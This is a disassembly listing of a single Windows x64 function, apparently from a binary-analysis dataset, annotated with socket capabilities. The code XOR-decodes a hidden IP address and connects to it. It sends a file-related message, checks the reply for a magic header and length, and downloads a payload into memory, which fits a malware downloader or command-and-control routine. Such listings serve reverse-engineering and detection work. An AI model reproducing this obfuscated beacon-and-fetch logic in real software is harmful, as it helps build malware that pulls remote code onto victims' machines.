Function at 0x140009130
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push r13
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x38], rcx
mov ecx, 0x202
mov qword [rsp + 0x50], r8
call sub.WS2_32.dll_WSAStartup
xor r8d, r8d
mov ebx, 2
mov ecx, ebx
lea edx, [r8 + 1]
call sub.WS2_32.dll_socket
mov qword [rsp + 0x40], rax
cmp rax, 0xffffffffffffffff
jne 0x140009197
xor eax, eax
jmp 0x14000956b
mov qword [rsp + 0x3a8], rsi
mov ecx, 0x12e0
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x360], r12
mov qword [rsp + 0x358], r14
mov qword [rsp + 0x350], r15
mov qword [rbp - 0x80], 0
mov word [rsp + 0x78], bx
call sub.WS2_32.dll_htons
mov r8b, 0x28
mov word [rsp + 0x7a], ax
mov al, 0x34
mov byte [rsp + 0x20], 6
movzx ecx, al
mov dl, 0x37
xor cl, 6
movzx r9d, al
movzx ebx, r8b
mov byte [rsp + 0x22], cl
movzx edi, al
lea rcx, [rsp + 0x21]
movzx esi, al
movzx r14d, r8b
movzx r15d, dl
movzx r12d, al
mov r10b, 0x35
mov r11b, 0x30
xor al, 6
xor dl, 6
xor r8b, 6
mov byte [rsp + 0x21], al
xor r9b, 6
mov byte [rsp + 0x23], dl
xor r10b, 6
mov byte [rsp + 0x24], r8b
xor r11b, 6
mov byte [rsp + 0x25], r9b
xor r13d, r13d
mov byte [rsp + 0x26], r10b
xor bl, 6
mov byte [rsp + 0x27], r11b
xor dil, 6
mov byte [rsp + 0x28], bl
xor sil, 6
mov byte [rsp + 0x29], dil
xor r14b, 6
mov byte [rsp + 0x2a], sil
xor r15b, 6
mov byte [rsp + 0x2b], r14b
xor r12b, 6
mov byte [rsp + 0x2c], r15b
mov byte [rsp + 0x2d], r12b
mov byte [rsp + 0x2e], r13b
call sub.WS2_32.dll_inet_addr
mov r13, qword [rsp + 0x40]
mov dword [rsp + 0x7c], eax
cmp eax, 0xffffffff
je 0x140009539
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x78]
mov rcx, r13
call sub.WS2_32.dll_connect
test eax, eax
jne 0x140009539
xor edx, edx
lea rcx, [rbp + 0x130]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rsp + 0x38]
lea rdx, str.File_s
lea rcx, [rbp + 0x130]
call fcn.1400090d0
movdqa xmm1, xmmword [0x14002ef00]
mov r8b, 6
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x20], xmm1
mov dl, 0x24
mov r9b, 0x2d
xor r8b, cl
psrldq xmm0, 1
xor byte [rsp + 0x22], cl
xor dl, cl
xor byte [rsp + 0x23], cl
xor r9b, cl
xor byte [rsp + 0x24], cl
mov rbx, 0xffffffffffffffff
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
movd eax, xmm0
xorps xmm0, xmm0
mov byte [rsp + 0x31], r8b
mov r8, rbx
mov byte [rsp + 0x30], dl
xor al, cl
mov byte [rsp + 0x32], r9b
mov byte [rsp + 0x21], al
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x21]
mov byte [rsp + 0x33], 0
movups xmmword [rsp + 0x58], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140009384
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x58]
call fcn.140002f20
lea rax, [rbp + 0x130]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400093b0
lea rdx, [rbp + 0x130]
lea rcx, [rsp + 0x58]
call fcn.140009590
lea rax, [rbp + 0x130]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400093d2
mov r8, rbx
lea rdx, [rbp + 0x130]
xor r9d, r9d
mov rcx, r13
call sub.WS2_32.dll_send
test eax, eax
jle 0x140009539
mov ecx, 0x400
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140009539
xor edx, edx
mov r8d, 0x400
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
mov rdx, rdi
mov rcx, r13
call sub.WS2_32.dll_recv
mov r12d, eax
cmp eax, 0xa
jl 0x140009530
cmp byte [rdi], 1
jne 0x140009521
cmp byte [rdi + 1], 2
jne 0x140009521
cmp byte [rdi + 2], 4
jne 0x140009521
cmp byte [rdi + 3], 2
jne 0x140009521
cmp byte [rdi + 4], 5
jne 0x140009521
cmp byte [rdi + 5], 4
jne 0x140009521
mov esi, dword [rdi + 6]
sub esi, 0xa
movsxd rbx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x140009530
mov r8, rbx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x2000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rax, rax
jne 0x1400094c6
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
jmp 0x140009533
lea ebx, [r12 - 0xa]
mov rcx, r14
movsxd r8, ebx
lea rdx, [rdi + 0xa]
call sub.VCRUNTIME140.dll_memcpy
cmp ebx, esi
jge 0x140009512
nop
xor r9d, r9d
mov r8d, 0x2000
mov rdx, r15
mov rcx, r13
call sub.WS2_32.dll_recv
movsxd rdi, eax
test eax, eax
jle 0x14000950e
movsxd rcx, ebx
mov r8, rdi
add rcx, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
add ebx, edi
cmp ebx, esi
jl 0x1400094e0
mov rax, qword [rsp + 0x48]
mov qword [rax], r14
mov rax, qword [rsp + 0x50]
mov dword [rax], esi
mov rcx, r13
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
jmp 0x140009543
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r13
call sub.WS2_32.dll_closesocket
xor eax, eax
mov r14, qword [rsp + 0x358]
mov r12, qword [rsp + 0x360]
mov rdi, qword [rsp + 0x368]
mov rsi, qword [rsp + 0x3a8]
mov r15, qword [rsp + 0x350]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14000e120
add rsp, 0x370
pop r13
pop rbx
pop rbp
ret